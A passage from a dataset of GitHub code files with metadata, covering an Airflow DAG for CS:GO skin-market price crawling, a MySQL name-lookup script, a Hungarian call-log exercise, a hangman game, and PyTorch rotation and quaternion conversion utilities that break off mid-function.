python_callable=extract_data_tradeit\n )\n\n extract_data_cs_go_market = PythonOperator(\n task_id=\"extract_data_cs_go_market\", python_callable=extract_data_cs_go_market\n )\n\n extract_data_lis_skins = PythonOperator(\n task_id=\"extract_data_lis_skins\", python_callable=extract_data_lis_skins\n )\n\n extract_data_skin_baron = PythonOperator(\n task_id='extract_data_skin_baron', python_callable=extract_data_skin_baron\n )\n\n write_to_db_tradeit = PythonOperator(\n task_id=\"write_data_tradeit\",\n python_callable=create_transaction,\n op_kwargs={\n 'table_name': 'tradeit',\n 'task_id': 'extract_data_tradeit'\n }\n )\n\n write_to_db_lis_skins = PythonOperator(\n task_id=\"write_data_lis_skins\",\n python_callable=create_transaction,\n op_kwargs={\n 'table_name': 'lisskins',\n 'task_id': 'extract_data_lis_skins'\n }\n )\n\n write_to_db_csgo_market = PythonOperator(\n task_id=\"write_data_csgo_market\",\n python_callable=create_transaction,\n op_kwargs={\n 'table_name': 'csgomarket',\n 'task_id': 'extract_data_cs_go_market'\n }\n )\n\n write_to_db_skin_baron = PythonOperator(\n task_id=\"write_data_skin_baron\",\n python_callable=create_transaction,\n op_kwargs={\n 'table_name': 'skinbaron',\n 'task_id': 'extract_data_skin_baron'\n }\n )\n\n last_point = {\n 'tradeit': write_to_db_tradeit,\n 'lisskins': write_to_db_lis_skins,\n 'csgomarket': write_to_db_csgo_market,\n 'skinbaron': write_to_db_skin_baron\n }\n\n python_operators = []\n\n for table_name_1, table_name_2 in combinations(sorted(last_point.keys()), 2):\n python_operators.append(\n PythonOperator(\n task_id=f\"find_pair_{table_name_1}_{table_name_2}\",\n python_callable=find_pairs,\n op_kwargs={\n 'table_name_1': f'market.{table_name_1}',\n 'table_name_2': f'market.{table_name_2}'\n }\n )\n )\n\n extract_data_tradeit >> write_to_db_tradeit\n extract_data_lis_skins >> write_to_db_lis_skins\n extract_data_cs_go_market >> write_to_db_csgo_market\n extract_data_skin_baron >> write_to_db_skin_baron\n\n for idx, nodes in enumerate(combinations(sorted(last_point.keys()), 2)):\n (last_point[nodes[0]], last_point[nodes[1]]) >> python_operators[idx]\n","repo_name":"artem-gorshkov/MarketCrawler","sub_path":"src/dags/dag_parser.py","file_name":"dag_parser.py","file_ext":"py","file_size_in_byte":4294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74754142449","text":"# coding: utf-8\n'''\nCreated on 2013-11-21\nrequire python 27+ (py3未测试)\nmysql-connector-python-1.0.12 + \n双击运行\n@author: xuechong\n'''\n\n#要搜索的人在这里 不要换行!!! 如果换行要在换行前加 '\\'\nnamList = [\"aa\",\"bb\"]\n#数据库连接配置\ndb_config = {\n\t 'user': '',\n\t 'password': '',\n\t 'host': '',\n\t 'database': '',\n\t 'raise_on_warnings': True,\n\t}\n\nimport mysql.connector\nimport os\n\ncnx = mysql.connector.connect(**db_config)\nqueryStr = \"SELECT tea.NUUT_REALNAME as name ,up.UUP_UID as uid ,up.UUP_PID as pid \" + \\\n\t\"FROM t_uc_user_teacher tea,t_uc_uid_pid up \" + \\\n\t\"WHERE \" + \\\n\t\"up.UUP_PID = tea.NUUT_ID AND \" + \\\n\t\"( + \"\n\nfor _name in namList:\n\tqueryStr += \"tea.NUUT_REALNAME like '%\"+str(_name)+\"%' OR \"\nqueryStr = queryStr[:len(queryStr)-3]\nqueryStr = queryStr + \")\"\n\ncursor = cnx.cursor()\ncursor.execute(queryStr)\n\ncurPath = os.getcwd()\noutputText = open(curPath + os.sep + \"results.txt\",\"w\") \n\nfor (_name, _uid, _pid) in cursor:\n\tresultLine = \"name:\"+_name+\"|uid:\"+_uid+\" |pid:\"+ _pid+\"\\n\"\n\tprint (resultLine)\n\toutputText.write(resultLine.encode(\"utf8\"))\n\t\noutputText.close()\ncursor.close()\ncnx.close()\nprint (\"end\")\ninput(\"input any to end\")\n","repo_name":"xuechong87/scripts","sub_path":"querytoTxt.py","file_name":"querytoTxt.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"25877412939","text":"class Telefon:\n def __init__(self, kezdes_ora, kezdes_perc, kezdes_ms, vege_ora, vege_perc, vege_ms, hivoaz):\n self.kezdes_ora = int(kezdes_ora)\n self.kezdes_perc = int(kezdes_perc)\n self.kezdes_ms = int(kezdes_ms)\n self.vege_ora = int(vege_ora)\n self.vege_perc = int(vege_perc)\n self.vege_ms = int(vege_ms)\n self.hivoaz = hivoaz\n\n def __repr__(self):\n return f\"{self.kezdes_ora} {self.kezdes_perc} {self.kezdes_ms} {self.vege_ora} {self.vege_perc} {self.vege_ms} {self.hivoaz}\"\n\n\ndef mpbe(o, p, ms):\n return o * 3600 + p * 60 + ms\n\n\ndef vissza(ms):\n perc = ms // 60\n ora = perc // 60\n perc = perc - ora * 60\n msbe = ms - (perc * 60 + (ora * 60 * 60))\n return f\"{ora} {perc} {msbe}\"\n\n\nf = open(\"hivas.txt\")\nlista = []\ndb = 0\nfor i in f:\n db += 1\n i = i.strip().split()\n lista.append(Telefon(*i, db))\nhivasok = {}\nfor i in lista:\n hivasok[i.kezdes_ora] = hivasok.get(i.kezdes_ora, 0) + 1\nprint(f\"3. feladat\")\nfor index, i in hivasok.items():\n print(f\"{index} ora {i} hivas\")\nprint(f\"4. feladat\")\nfor i in sorted(lista,\n key=lambda i: mpbe(i.vege_ora, i.vege_perc, i.vege_ms) - mpbe(i.kezdes_ora, i.kezdes_perc, i.kezdes_ms),\n reverse=True):\n print(\n f\"A leghosszabb ideig vonalban levo hivo {i.hivoaz}. sorban szerepel,a hivas hossza: {mpbe(i.vege_ora, i.vege_perc, i.vege_ms) - mpbe(i.kezdes_ora, i.kezdes_perc, i.kezdes_ms)} masodperc.\")\n break\nprint(\"5. feladat\\nAdjon meg egy idopontot! (ora perc masodperc) 10 11 12\")\nora = int(input())\nperc = int(input())\nms = int(input())\nmegadott_idopontig = [i for i in lista if mpbe(ora, perc, ms) >= mpbe(i.kezdes_ora, i.kezdes_perc, i.kezdes_ms)]\ndb = 0\nif len(megadott_idopontig) > 0:\n for i in megadott_idopontig:\n if mpbe(ora, perc, ms) >= mpbe(i.kezdes_ora, i.kezdes_perc, i.kezdes_ms) and mpbe(ora, perc, ms) <= mpbe(\n i.vege_ora, i.vege_perc, i.vege_ms):\n db += 1\nif len(megadott_idopontig) == 0:\n print(f\"Nem volt beszélő.\")\nelif db - 1 == -1:\n print(f\"Nem volt beszélő.\")\nelse:\n print(f\"A varakozok szama: {db - 1} a beszelo a {len(megadott_idopontig) - (db - 1)}. hivo.\")\nprint(\"6. feladat\")\nervenyes = [i for i in lista if\n mpbe(i.vege_ora, i.vege_perc, i.vege_ms) >= 8 * 3600 and mpbe(i.kezdes_ora, i.kezdes_perc,\n i.kezdes_ms) <= 12 * 3600]\nelozo = 0\njelenlegi = 0\naz = None\naz_hivas_kezdete = None\nervenyes_hivas_mp = []\nfor i in ervenyes:\n jelenlegi = mpbe(i.vege_ora, i.vege_perc, i.vege_ms)\n if elozo < jelenlegi:\n az = i.hivoaz\n az_hivas_kezdete = mpbe(i.kezdes_ora, i.kezdes_perc, i.kezdes_ms)\n ervenyes_hivas_mp.append(mpbe(i.vege_ora, i.vege_perc, i.vege_ms))\n elozo = jelenlegi\nprint(\n f\"Az utolso telefonalo adatai a(z) {az}. sorban vannak, {ervenyes_hivas_mp[-2] - az_hivas_kezdete} masodpercig vart.\")\nf = open(\"sikeres.txt\", \"w\")\nelozo = 0\njelenlegi = 0\nnemvolt = False\nfor i in ervenyes:\n jelenlegi = mpbe(i.vege_ora, i.vege_perc, i.vege_ms)\n if elozo < jelenlegi:\n if mpbe(i.kezdes_ora, i.kezdes_perc, i.kezdes_ms) <= 8 * 3600 and nemvolt == False:\n f.write(f\"{i.hivoaz} {8} {0} {0} {vissza(jelenlegi)}\\n\")\n nemvolt = True\n else:\n f.write(f\"{i.hivoaz} {vissza(elozo)} {vissza(jelenlegi)}\\n\")\n elozo = jelenlegi\n","repo_name":"lacithelaci/erettlensegi","sub_path":"telefon.py","file_name":"telefon.py","file_ext":"py","file_size_in_byte":3443,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18985934308","text":"\"\"\"\nGallows\n\nThis is the Gallows game.\nPC randomly chooses one of three words but shows only dashes.\nPlayer is asked for a letter.\nIf the letter is present in a chosen word, the letter is shown.\nIf it is not, the gallows is built gradually after every wrong answer.\nThe game is over when the word is guessed correctly or the gallows is built.\nScore is to be seen after each draw.\n\n\"\"\"\n\nfrom gallows_functions import random_word, update_string, counter, evaluate\n\ngallows = (\n\"\"\"\n\"\"\",\n\"\"\"\n\n\n\n\n\n\n~~~~~~~\"\"\",\n\"\"\"\n+\n|\n|\n|\n|\n|\n~~~~~~~\"\"\",\n\"\"\"\n+---.\n|\n|\n|\n|\n|\n~~~~~~~\"\"\",\n\"\"\"\n+---.\n| |\n|\n|\n|\n|\n~~~~~~~\"\"\",\n\"\"\"\n+---.\n| |\n| O\n|\n|\n|\n~~~~~~~\"\"\",\n\"\"\"\n+---.\n| |\n| O\n| |\n|\n|\n~~~~~~~\"\"\",\n\"\"\"\n+---.\n| |\n| O\n| --|\n|\n|\n~~~~~~~\"\"\",\n\"\"\"\n+---.\n| |\n| O\n| --|--\n|\n|\n~~~~~~~\"\"\",\n\"\"\"\n+---.\n| |\n| O\n| --|--\n| /\n|\n~~~~~~~\"\"\",\nr\"\"\"\n+---.\n| |\n| O\n| --|--\n| / \\\n|\n~~~~~~~\"\"\")\n\nwhile True:\n bad_attempts = 0\n \n print(\"This is the Gallows game.\")\n print(\"You have to guess a word.\")\n set_word = random_word()\n guessed_word = set_word[0]\n hint = set_word[1]\n length = len(guessed_word)\n string = length * \"_\"\n\n while True:\n print(f\"The word consists of {length} letters. Hint: {hint}\")\n letter = input(\"Insert a letter and press enter: \").lower()\n if letter in ('a', 'b', 'c', 'd', 'e', 'f', 'g',\n 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\n 'v', 'w', 'x', 'y', 'z'):\n pass\n else:\n print(\"Insert a single letter from alphabet! Please try again.\")\n continue\n string = update_string(string, letter, guessed_word)\n bad_attempts = counter(letter, guessed_word, bad_attempts)\n print(f\"The word is: {string}\")\n print(f\"Count of bad attempts: {bad_attempts} of 10\")\n \n # Depicting of the gallows.\n print(gallows[bad_attempts])\n \n evaluation = evaluate(string, bad_attempts)\n if evaluation == '*':\n print(\"Congratulations, you are a winner!\\nEnd of game.\")\n break\n elif evaluation == '!':\n print(\"You lost the game!\\nEnd of game.\")\n break\n # For evaluation == '?'\n else:\n print(\"Let's continue.\\n\")\n continue\n\n # A new game option.\n repeat = input(\"Do you want to play again (y/n)?\").lower()\n if repeat == 'y':\n continue\n elif repeat == 'n':\n break\n else:\n print(\"You pressed neither 'y' nor 'n'! End of game.\")\n break\n","repo_name":"MiloslavMatulka/python","sub_path":"gallows.py","file_name":"gallows.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"22225891444","text":"import functools\nfrom typing import Optional, Union\n\nimport torch\nimport torch.nn.functional as F\n\nDevice = Union[str, torch.device]\n\n\n\"\"\"\nThe transformation matrices returned from the functions in this file assume\nthe points on which the transformation will be applied are column vectors.\ni.e. the R matrix is structured as\n R = [\n [Rxx, Rxy, Rxz],\n [Ryx, Ryy, Ryz],\n [Rzx, Rzy, Rzz],\n ] # (3, 3)\nThis matrix can be applied to column vectors by post multiplication\nby the points e.g.\n points = [[0], [1], [2]] # (3 x 1) xyz coordinates of a point\n transformed_points = R * points\nTo apply the same matrix to points which are row vectors, the R matrix\ncan be transposed and pre multiplied by the points:\ne.g.\n points = [[0, 1, 2]] # (1 x 3) xyz coordinates of a point\n transformed_points = points * R.transpose(1, 0)\n\"\"\"\n\n\ndef quaternion_to_matrix(quaternions):\n \"\"\"\n Convert rotations given as quaternions to rotation matrices.\n Args:\n quaternions: quaternions with real part first,\n as tensor of shape (..., 4).\n Returns:\n Rotation matrices as tensor of shape (..., 3, 3).\n \"\"\"\n r, i, j, k = torch.unbind(quaternions, -1)\n two_s = 2.0 / (quaternions * quaternions).sum(-1)\n\n o = torch.stack(\n (\n 1 - two_s * (j * j + k * k),\n two_s * (i * j - k * r),\n two_s * (i * k + j * r),\n two_s * (i * j + k * r),\n 1 - two_s * (i * i + k * k),\n two_s * (j * k - i * r),\n two_s * (i * k - j * r),\n two_s * (j * k + i * r),\n 1 - two_s * (i * i + j * j),\n ),\n -1,\n )\n return o.reshape(quaternions.shape[:-1] + (3, 3))\n\n\ndef _copysign(a, b):\n \"\"\"\n Return a tensor where each element has the absolute value taken from the,\n corresponding element of a, with sign taken from the corresponding\n element of b. This is like the standard copysign floating-point operation,\n but is not careful about negative 0 and NaN.\n Args:\n a: source tensor.\n b: tensor whose signs will be used, of the same shape as a.\n Returns:\n Tensor of the same shape as a with the signs of b.\n \"\"\"\n signs_differ = (a < 0) != (b < 0)\n return torch.where(signs_differ, -a, a)\n\n\ndef _sqrt_positive_part(x: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Returns torch.sqrt(torch.max(0, x))\n but with a zero subgradient where x is 0.\n \"\"\"\n ret = torch.zeros_like(x)\n positive_mask = x > 0\n ret[positive_mask] = torch.sqrt(x[positive_mask])\n return ret\n\n\ndef matrix_to_quaternion(matrix: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Convert rotations given as rotation matrices to quaternions.\n Args:\n matrix: Rotation matrices as tensor of shape (..., 3, 3).\n Returns:\n quaternions with real part first, as tensor of shape (..., 4).\n \"\"\"\n if matrix.size(-1) != 3 or matrix.size(-2) != 3:\n raise ValueError(f\"Invalid rotation matrix shape f{matrix.shape}.\")\n\n batch_dim = matrix.shape[:-2]\n m00, m01, m02, m10, m11, m12, m20, m21, m22 = torch.unbind(\n matrix.reshape(*batch_dim, 9), dim=-1\n )\n\n q_abs = _sqrt_positive_part(\n torch.stack(\n [\n 1.0 + m00 + m11 + m22,\n 1.0 + m00 - m11 - m22,\n 1.0 - m00 + m11 - m22,\n 1.0 - m00 - m11 + m22,\n ],\n dim=-1,\n )\n )\n\n # we produce the desired quaternion multiplied by each of r, i, j, k\n quat_by_rijk = torch.stack(\n [\n torch.stack([q_abs[..., 0] ** 2, m21 - m12, m02 - m20, m10 - m01], dim=-1),\n torch.stack([m21 - m12, q_abs[..., 1] ** 2, m10 + m01, m02 + m20], dim=-1),\n torch.stack([m02 - m20, m10 + m01, q_abs[..., 2] ** 2, m12 + m21], dim=-1),\n torch.stack([m10 - m01, m20 + m02, m21 + m12, q_abs[..., 3] ** 2], dim=-1),\n ],\n dim=-2,\n )\n\n # clipping is not important here; if q_abs is small, the candidate won't be picked\n quat_candidates = quat_by_rijk / (2.0 * q_abs[..., None].clip(0.1))\n\n # if not for numerical problems, quat_candidates[i] should be same (up to a sign),\n # forall i; we pick the best-conditioned one (with the largest denominator)\n\n return quat_candidates[\n F.one_hot(q_abs.argmax(dim=-1), num_classes=4) > 0.5, : # pyre-ignore[16]\n ].reshape(*batch_dim, 4)\n\n\ndef _axis_angle_rotation(axis: str, angle):\n \"\"\"\n Return the rotation matrices for one of the rotations about an axis\n of which Euler angles describe, for each value of the angle given.\n Args:\n axis: Axis label \"X\" or \"Y or \"Z\".\n angle: any shape tensor of Euler angles in radians\n Returns:\n Rotation matrices as tensor of shape (..., 3, 3).\n \"\"\"\n\n cos = torch.cos(angle)\n sin = torch.sin(angle)\n one = torch.ones_like(angle)\n zero = torch.zeros_like(angle)\n\n if axis == \"X\":\n R_flat = (one, zero, zero, zero, cos, -sin, zero, sin, cos)\n if axis == \"Y\":\n R_flat = (cos, zero, sin, zero, one, zero, -sin, zero, cos)\n if axis == \"Z\":\n R_flat = (cos, -sin, zero, sin, cos, zero, zero, zero, one)\n\n return torch.stack(R_flat, -1).reshape(angle.shape + (3, 3))\n\n\ndef euler_angles_to_matrix(euler_angles, convention: str):\n \"\"\"\n Convert rotations given as Euler angles in radians to rotation matrices.\n Args:\n euler_angles: Euler angles in radians as tensor of shape (..., 3).\n convention: Convention string of three uppercase letters from\n {\"X\", \"Y\", and \"Z\"}.\n Returns:\n Rotation matrices as tensor of shape (..., 3, 3).\n \"\"\"\n if euler_angles.dim() == 0 or euler_angles.shape[-1] != 3:\n raise ValueError(\"Invalid input euler angles.\")\n if len(convention) != 3:\n raise ValueError(\"Convention must have 3 letters.\")\n if convention[1] in (convention[0], convention[2]):\n raise ValueError(f\"Invalid convention {convention}.\")\n for letter in convention:\n if letter not in (\"X\", \"Y\", \"Z\"):\n raise ValueError(f\"Invalid letter {letter} in convention string.\")\n matrices = map(_axis_angle_rotation, convention, torch.unbind(euler_angles, -1))\n return functools.reduce(torch.matmul, matrices)\n\n\ndef _angle_from_tan(\n axis: str, other_axis: str, data, horizontal: bool, tait_bryan: bool\n):\n \"\"\"\n Extract the first or third Euler angle from the two members of\n the matrix which are positive constant times its sine and cosine.\n Args:\n axis: Axis label \"X\" or \"Y or \"Z\" for the angle we are finding.\n other_axis: Axis label \"X\" or \"Y or \"Z\" for the middle axis in the\n convention.\n data: Rotation matrices as tensor of shape (..., 3, 3).\n horizontal: Whether we are looking for the angle for the third axis,\n which means the relevant entries are in the same row of the\n rotation matrix. If not, they are in the same column.\n tait_bryan: Whether the first and third axes in the convention differ.\n Returns:\n Euler Angles in radians for each matrix in data as a tensor\n of shape (...).\n \"\"\"\n\n i1, i2 = {\"X\": (2, 1), \"Y\": (0, 2), \"Z\": (1, 0)}[axis]\n if horizontal:\n i2, i1 = i1, i2\n even = (axis + other_axis) in [\"XY\", \"YZ\", \"ZX\"]\n if horizontal == even:\n return torch.atan2(data[..., i1], data[..., i2])\n if tait_bryan:\n return torch.atan2(-data[..., i2], data[..., i1])\n return torch.atan2(data[..., i2], -data[..., i1])\n\n\ndef _index_from_letter(letter: str):\n if letter == \"X\":\n return 0\n if letter == \"Y\":\n return 1\n if letter == \"Z\":\n return 2\n\n\ndef matrix_to_euler_angles(matrix, convention: str):\n \"\"\"\n Convert rotations given as rotation matrices to Euler angles in radians.\n Args:\n matrix: Rotation matrices as tensor of shape (..., 3, 3).\n convention: Convention string of three uppercase letters.\n Returns:\n Euler angles in radians as tensor of shape (..., 3).\n \"\"\"\n if len(convention) != 3:\n raise ValueError(\"Convention must have 3 letters.\")\n if convention[1] in (convention[0], convention[2]):\n raise ValueError(f\"Invalid convention {convention}.\")\n for letter in convention:\n if letter not in (\"X\", \"Y\", \"Z\"):\n raise ValueError(f\"Invalid letter {letter} in convention string.\")\n if matrix.size(-1) != 3 or matrix.size(-2) != 3:\n raise ValueError(f\"Invalid rotation matrix shape f{matrix.shape}.\")\n i0 = _index_from_letter(convention[0])\n i2 = _index_from_letter(convention[2])\n tait_bryan = i0 != i2\n if tait_bryan:\n central_angle = torch.asin(\n matrix[..., i0, i2] * (-1.0 if i0 - i2 in [-1, 2] else 1.0)\n )\n else:\n central_angle = torch.acos(matrix[..., i0, i0])\n\n o = (\n _angle_from_tan(\n convention[0], convention[1], matrix[..., i2], False, tait_bryan\n ),\n central_angle,\n _angle_from_tan(\n convention[2], convention[1], matrix[..., i0, :], True, tait_bryan\n ),\n )\n return torch.stack(o, -1)\n\n\ndef random_quaternions(\n n: int, dtype: Optional[torch.dtype] = None, device: Optional[Device] = None\n):\n \"\"\"\n Generate random quaternions representing rotations,\n i.e. versors with nonnegative real part.\n Args:\n n: Number of quaternions in a batch to return.\n dtype: Type to return.\n device: Desired device of returned tensor. Default:\n uses the current device for the default tensor type.\n Returns:\n Quaternions as tensor of shape (N, 4).\n \"\"\"\n o = torch.randn((n, 4), dtype=dtype, device=device)\n s = (o * o).sum(1)\n o = o / _copysign(torch.sqrt(s), o[:, 0])[:, None]\n return o\n\n\ndef random_rotations(\n n: int, dtype: Optional[torch.dtype] = None, device: Optional[Device] = None\n):\n \"\"\"\n Generate random rotations as 3x3 rotation matrices.\n Args:\n n: Number of rotation matrices in a batch to return.\n dtype: Type to return.\n device: Device of returned tensor. Default: if None,\n uses the current device for the default tensor type.\n Returns:\n Rotation matrices as tensor of shape (n, 3, 3).\n \"\"\"\n quaternions = random_quaternions(n, dtype=dtype, device=device)\n return quaternion_to_matrix(quaternions)\n\n\ndef random_rotation(\n dtype: Optional[torch.dtype] = None, device: Optional[Device] = None\n):\n \"\"\"\n Generate a single random 3x3 rotation matrix.\n Args:\n dtype: Type to return\n device: Device of returned tensor. Default: if None,\n uses the current device for the default tensor type\n Returns:\n Rotation matrix as tensor of shape (3, 3).\n \"\"\"\n return random_rotations(1, dtype, device)[0]\n\n\ndef standardize_quaternion(quaternions):\n \"\"\"\n Convert a unit quaternion to a standard form: one in which the real\n part is non negative.\n Args:\n quaternions: Quaternions with real part first,\n as tensor of shape (..., 4).\n Returns:\n Standardized quaternions as tensor of shape (..., 4).\n \"\"\"\n return torch.where(quaternions[..., 0:1] < 0, -quaternions, quaternions)\n\n\ndef quaternion_raw_multiply(a, b):\n \"\"\"\n Multiply two quaternions.\n Usual torch rules for broadcasting apply.\n Args:\n a: Quaternions as tensor of shape (..., 4), real part first.\n b: Quaternions as tensor of shape (..., 4), real part first.\n Returns:\n The product of a and b, a tensor of quaternions shape (..., 4).\n \"\"\"\n aw, ax, ay, az = torch.unbind(a, -1)\n bw, bx, by, bz = torch.unbind(b, -1)\n ow = aw * bw - ax * bx - ay * by - az * bz\n ox = aw * bx + ax * bw + ay * bz - az * by\n oy = aw * by - ax * bz + ay * bw + az * bx\n oz = aw * bz + ax * by - ay * bx + az * bw\n return torch.stack((ow, ox, oy, oz), -1)\n\n\ndef quaternion_multiply(a, b):\n \"\"\"\n Multiply two quaternions representing rotations, returning the quaternion\n representing their composition, i.e. the versor with nonnegative real part.\n Usual torch rules for broadcasting apply.\n Args:\n a: Quaternions as tensor of shape (..., 4), real part first.\n b: Quaternions as tensor of shape (..., 4), real part first.\n Returns:\n The product of a and b, a tensor of quaternions of shape (..., 4).\n \"\"\"\n ab = quaternion_raw_multiply(a, b)\n return standardize_quaternion(ab)\n\n\ndef quaternion_invert(quaternion):\n \"\"\"\n Given a quaternion representing rotation, get the quaternion representing\n its inverse.\n Args:\n quaternion: Quaternions as tensor of shape (..., 4), with real part\n first, which must be versors (unit quaternions).\n Returns:\n The inverse, a tensor of quaternions of shape (..., 4).\n \"\"\"\n\n return quaternion * quaternion.new_tensor([1, -1, -1, -1])\n\n\ndef quaternion_apply(quaternion, point):\n \"\"\"\n Apply the rotation given by a quaternion to a 3D point.\n Usual torch rules for broadcasting apply.\n Args:\n quaternion: Tensor of quaternions, real part first, of shape (..., 4).\n point: Tensor of 3D points of shape (..., 3).\n Returns:\n Tensor of rotated points of shape (..., 3).\n \"\"\"\n if point.size(-1) != 3:\n raise ValueError(f\"Points are not in 3D, f{point.shape}.\")\n real_parts = point.new_zeros(point.shape[:-1] + (1,))\n point_as_quaternion = torch.cat((real_parts, point), -1)\n out = quaternion_raw_multiply(\n quaternion_raw_multiply(quaternion, point_as_quaternion),\n quaternion_invert(quaternion),\n )\n return out[..., 1:]\n\n\ndef axis_angle_to_matrix(axis_angle):\n \"\"\"\n Convert rotations given as axis/angle to rotation matrices.\n Args:\n axis_angle: Rotations given as a vector in axis angle form,\n as a tensor of shape (..., 3), where the magnitude is\n the angle turned anticlockwise in radians around the\n vector's direction.\n Returns:\n Rotation matrices as tensor of shape (..., 3, 3).\n \"\"\"\n return quaternion_to_matrix(axis_angle_to_quaternion(axis_angle))\n\n\ndef matrix_to_axis_angle(matrix):\n \"\"\"\n Convert rotations given as rotation matrices to axis/angle.\n Args:\n matrix: Rotation matrices as tensor of shape (..., 3, 3).\n Returns:\n Rotations given as a vector in axis angle form, as a tensor\n of shape (..., 3), where the magnitude is the angle\n turned anticlockwise in radians around the vector's\n direction.\n \"\"\"\n return quaternion_to_axis_angle(matrix_to_quaternion(matrix))\n\n\ndef axis_angle_to_quaternion(axis_angle):\n \"\"\"\n Convert rotations given as axis/angle to quaternions.\n Args:\n axis_angle: Rotations given as a vector in axis angle form,\n as a tensor of shape (..., 3), where the magnitude is\n the angle turned anticlockwise in radians around the\n vector's direction.\n Returns:\n quaternions with real part first, as tensor of shape (..., 4).\n \"\"\"\n angles = torch.norm(axis_angle, p=2, dim=-1, keepdim=True)\n half_angles = 0.5 * angles\n eps = 1e-6\n small_angles = angles.abs() < eps\n sin_half_angles_over_angles = torch.empty_like(angles)\n sin_half_angles_over_angles[~small_angles] = (\n torch.sin(half_angles[~small_angles]) / angles[~small_angles]\n )\n # for x small, sin(x/2) is about x/2 - (x/2)^3/6\n # so sin(x/2)/x is about 1/2 - (x*x)/48\n sin_half_angles_over_angles[small_angles] = (\n 0.5 - (angles[small_angles] * angles[small_angles]) / 48\n )\n quaternions = torch.cat(\n [torch.cos(half_angles), axis_angle * sin_half_angles_over_angles], dim=-1\n )\n return quaternions\n\n\ndef quaternion_to_axis_angle(quaternions):\n \"\"\"\n Convert rotations given as quaternions to axis/angle.\n Args:\n quaternions: quaternions with real part first,\n as tensor of shape (..., 4).\n Returns:\n Rotations given as a vector in axis angle form, as a tensor\n of shape (..., 3), where the magnitude is the angle\n turned anticlockwise in radians around the vector's\n direction.\n \"\"\"\n norms = torch.norm(quaternions[..., 1:], p=2, dim=-1, keepdim=True)\n half_angles = torch.atan2(norms, quaternions[..., :1])\n angles = 2 * half_angles\n eps = 1e-6\n small_angles = angles.abs() < eps\n sin_half_angles_over_angles = torch.empty_like(angles)\n sin_half_angles_over_angles[~small_angles] = (\n torch.sin(half_angles[~small_angles]) / angles[~small_angles]\n )\n # for x small, sin(x/2) is about x/2 - (x/2)^3/6\n # so sin(x/2)/x is about 1/2 - (x*x)/48\n sin_half_angles_over_angles[small_angles] = (\n 0.5 - (angles[small_angles] * angles[small_angles]) / 48\n )\n return quaternions[..., 1:] / sin_half_angles_over_angles\n\n\ndef rotation_6d_to_matrix(d6: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Converts 6D rotation representation by Zhou et al. [1] to rotation matrix\n using Gram--Schmidt orthogonalization per Section B of [1].\n Args:\n d6: 6D rotation representation, of size (*, 6)\n Returns:\n batch of rotation matrices of size (*, 3, 3)\n [1] Zhou, Y., Barnes, C., Lu, J., Yang, J., & Li, H.\n On the Continuity of Rotation Representations in Neural Networks.\n IEEE Conference on Computer Vision and Pattern Recognition, 2019.\n Retrieved from http://arxiv.org/abs/1812.07035\n \"\"\"\n\n a1, a2 = d6[..., :3], d6[..., 3:]\n b1 = F.normalize(a1, dim=-1)\n b2 = a2 - (b1 * a2).sum(-1, keepdim=True) * b1\n b2 = F.normalize(b2, dim=-1)\n b3 = torch.cross(b1, b2, dim=-1)\n return torch.stack((b1, b2, b3), dim=-2)\n\n\ndef matrix_to_rotation_6d(matrix: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Converts rotation matrices to 6D rotation representation by Zhou et al. [1]\n by dropping the last row. Note that 6D representation is not unique.\n Args:\n matrix: batch of rotation matrices of size (*, 3, 3)\n Returns:\n 6D rotation representation, of size (*, 6)\n [1] Zhou, Y., Barnes, C., Lu, J., Yang, J., & Li, H.\n On the Continuity of Rotation Representations in Neural Networks.\n IEEE Conference on Computer Vision and Pattern Recognition, 2019.\n Retrieved from http://arxiv.org/abs/1812.07035\n \"\"\"\n return matrix[..., :2, :].clone().reshape(*matrix.size()[:-2], 6)\n\n\n\nimport warnings\nfrom typing import Tuple\n\nimport torch\n\nimport math\nfrom typing import Tuple\n\nimport torch\n\n\nDEFAULT_ACOS_BOUND = 1.0 - 1e-4\n\n\n\ndef acos_linear_extrapolation(\n x: torch.Tensor,\n bounds: Tuple[float, float] = (-DEFAULT_ACOS_BOUND, DEFAULT_ACOS_BOUND),\n) -> torch.Tensor:\n \"\"\"\n Implements `arccos(x)` which is linearly extrapolated outside `x`'s original\n domain of `(-1, 1)`. This allows for stable backpropagation in case `x`\n is not guaranteed to be strictly within `(-1, 1)`.\n\n More specifically:\n ```\n bounds=(lower_bound, upper_bound)\n if lower_bound <= x <= upper_bound:\n acos_linear_extrapolation(x) = acos(x)\n elif x <= lower_bound: # 1st order Taylor approximation\n acos_linear_extrapolation(x)\n = acos(lower_bound) + dacos/dx(lower_bound) * (x - lower_bound)\n else: # x >= upper_bound\n acos_linear_extrapolation(x)\n = acos(upper_bound) + dacos/dx(upper_bound) * (x - upper_bound)\n ```\n\n Args:\n x: Input `Tensor`.\n bounds: A float 2-tuple defining the region for the\n linear extrapolation of `acos`.\n The first/second element of `bound`\n describes the lower/upper bound that defines the lower/upper\n extrapolation region, i.e. the region where\n `x <= bound[0]`/`bound[1] <= x`.\n Note that all elements of `bound` have to be within (-1, 1).\n Returns:\n acos_linear_extrapolation: `Tensor` containing the extrapolated `arccos(x)`.\n \"\"\"\n\n lower_bound, upper_bound = bounds\n\n if lower_bound > upper_bound:\n raise ValueError(\"lower bound has to be smaller or equal to upper bound.\")\n\n if lower_bound <= -1.0 or upper_bound >= 1.0:\n raise ValueError(\"Both lower bound and upper bound have to be within (-1, 1).\")\n\n # init an empty tensor and define the domain sets\n acos_extrap = torch.empty_like(x)\n x_upper = x >= upper_bound\n x_lower = x <= lower_bound\n x_mid = (~x_upper) & (~x_lower)\n\n # acos calculation for upper_bound < x < lower_bound\n acos_extrap[x_mid] = torch.acos(x[x_mid])\n # the linear extrapolation for x >= upper_bound\n acos_extrap[x_upper] = _acos_linear_approximation(x[x_upper], upper_bound)\n # the linear extrapolation for x <= lower_bound\n acos_extrap[x_lower] = 